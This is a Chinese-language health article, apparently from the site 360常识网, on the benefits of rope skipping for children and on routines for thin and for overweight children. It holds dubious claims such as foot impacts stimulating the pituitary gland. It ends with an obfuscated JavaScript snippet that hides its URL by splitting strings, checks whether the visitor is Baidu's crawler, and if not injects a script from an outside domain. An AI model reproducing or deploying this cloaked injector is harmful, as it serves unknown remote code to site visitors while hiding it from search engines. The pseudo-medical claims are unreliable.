當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

讓孩子學(xué)跳繩的好處有哪些

2017-07-31 09:58:09  來源:360常識網(wǎng)   熱度:
導(dǎo)語:越跳心肺功能越好:跳繩能加快全身血液循環(huán)、提升心肺功能和呼吸系統(tǒng)功能;胃腸蠕動和新陳代謝提速了;身體各主要部分的肌肉也得到了鍛煉、骨骼快速生長。體力越來越好、身體越來越棒、心情也更好。

讓孩子學(xué)跳繩的好處有哪些

孩子學(xué)跳繩的好處有哪些

1、左右腦共同進(jìn)步:跳繩需要四肢、手腳、腕、肩有規(guī)律、有節(jié)奏地相互配合,能促進(jìn)寶貝左半腦和右半腦的共同進(jìn)步。培養(yǎng)寶貝身體的平衡感、協(xié)調(diào)性、敏捷度、節(jié)奏感、耐力和爆發(fā)力。同時,手握繩,繩子刺激拇指穴位;兩腳心不斷地與地面碰撞,通過足反射區(qū)刺激腦下垂體、增強(qiáng)腦細(xì)胞的活力,思維反應(yīng)能力和想象力得到升華。

2、越跳心肺功能越好:跳繩能加快全身血液循環(huán)、提升心肺功能和呼吸系統(tǒng)功能;胃腸蠕動和新陳代謝提速了;身體各主要部分的肌肉也得到了鍛煉、骨骼快速生長。體力越來越好、身體越來越棒、心情也更好。

3、燃燒多余的脂肪:如果寶貝體重超標(biāo),跳繩能幫他輕松燃燒掉身上多余的脂肪。就運動量來說,每分鐘120~140次,一個小時就可燃燒掉600~1000卡的熱量。如果天天堅持,很快就能看到效果。而且,跳繩也不需要太大的場地,方便操作。

4、明白數(shù)的概念:教寶貝一邊跳繩一邊數(shù)數(shù),將所數(shù)的數(shù)與跳繩的次數(shù)所建立的對應(yīng)關(guān)系,把抽象的數(shù)字與實際事物聯(lián)系起來,抽象記憶轉(zhuǎn)化為形象記憶。能幫助孩子初步理解數(shù)的實際含義、形成數(shù)的概念,也提高了記憶力。

孩子初學(xué)跳繩的方法

3歲~5歲的小兒剛開始練習(xí)跳繩時,家長需分步引導(dǎo)孩子訓(xùn)練:

1、先讓孩子隨著節(jié)奏跳,不拿繩子,引導(dǎo)孩子一邊拍手一邊往上跳。

2、孩子學(xué)會有節(jié)奏的上跳后,仍然不拿繩子,讓孩子雙手做出跳繩的姿勢,按節(jié)奏模仿跳繩動作。

3、再引導(dǎo)孩子雙手拿繩子,模仿做跳繩動作。當(dāng)繩子落地時,引導(dǎo)孩子雙腳跳過繩子,完全像跳繩樣,只是動作不連續(xù)。

4、練習(xí)雙手握繩子、雙腳協(xié)調(diào)上跳的完整跳繩運動。當(dāng)孩子學(xué)會跳繩后,再練習(xí)變換跳繩的花樣。這樣不僅可以提高運動的積極性,也增加協(xié)調(diào)性。

瘦弱矮小兒適合慢頻跳繩

體格瘦弱和矮小的小兒,通常食欲低,食量小,易患病?熏平時運動較少。家長需要向小兒宣傳運動可使飯量增大、身體變棒、個子長高,少生病,少打針,少吃藥,引起孩子對運動的興趣。運動強(qiáng)度應(yīng)小一些,如慢頻率跳繩、跳房子、打乒乓球、打羽毛球、慢跑等,其中慢頻率跳繩最容易進(jìn)行,而且效果好。具體方法為:

1、小兒跳繩3分鐘后,休息3分鐘~5分鐘,為一個循環(huán)。逐漸增加循環(huán)次數(shù),看孩子身體狀況而定。

2、跳繩頻率小于1分鐘60次。

3、建議定期記錄孩子的體重和身高,如果可能還可以記錄呼吸和心率。

肥胖兒適合快頻跳繩

體格肥胖的小兒,通常食欲強(qiáng),食量大,喜吃零食,不喜歡運動。家長在平時需向孩子宣傳肥胖的諸多害處,激發(fā)孩子要求通過運動改善體形的愿望。肥胖小兒的運動強(qiáng)度要大一些,時間適當(dāng)延長,還要強(qiáng)調(diào)改掉吃零食的壞習(xí)慣,晚飯后不加餐。

由于肥胖孩子的身高比同年齡孩子高,但長時間肥胖后,小兒身高增長就會緩慢,最終身高會低于預(yù)計的身高,而用跳繩來改善體形無疑是優(yōu)眩具體方法為:

1、小兒跳繩5分鐘~6分鐘后,休息3分鐘~5分鐘,為一個循環(huán)。反復(fù)5個循環(huán)以上。

2、跳繩頻率要求1分鐘120次以上。

3、建議定期記錄孩子的體重和身高,如果可能,還可以記錄呼吸和心率。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}